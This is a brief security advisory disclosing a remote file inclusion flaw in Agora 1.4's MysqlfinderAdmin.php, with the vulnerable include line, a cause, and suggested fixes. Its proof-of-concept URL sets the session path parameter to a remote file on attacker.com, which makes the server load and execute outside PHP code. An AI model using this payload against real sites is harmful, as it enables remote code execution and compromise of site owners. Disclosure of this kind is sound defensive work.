Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in modules/Mysqlfinder/MysqlfinderAdmin.php
--------------------------modules/Mysqlfinder/MysqlfinderAdmin.php----------
....
<?
include_once($_SESSION["PATH_COMPOSANT"]."Commun/Template.inc")
...
----------------------------------------------------------

Input passed to the "$_SESSION["PATH_COMPOSANT"]" parameter in Mysqlfinder.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.



Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[agora-1.4-path]/modules/Mysqlfinder/MysqlfinderAdmin.php?_SESSION[PATH_COMPOSANT]=http://attacker.com/inject.txt?


Solution:
~~~~~~~

- Insert new line code :
  ...
  include_once 'MysqlfinderParam.inc';
  ...
  
  Before include_once($_SESSION["PATH_COMPOSANT"]."Commun/Template.inc")

- Turn off register_globals
- Turn off display_error to Hide Full Path Error
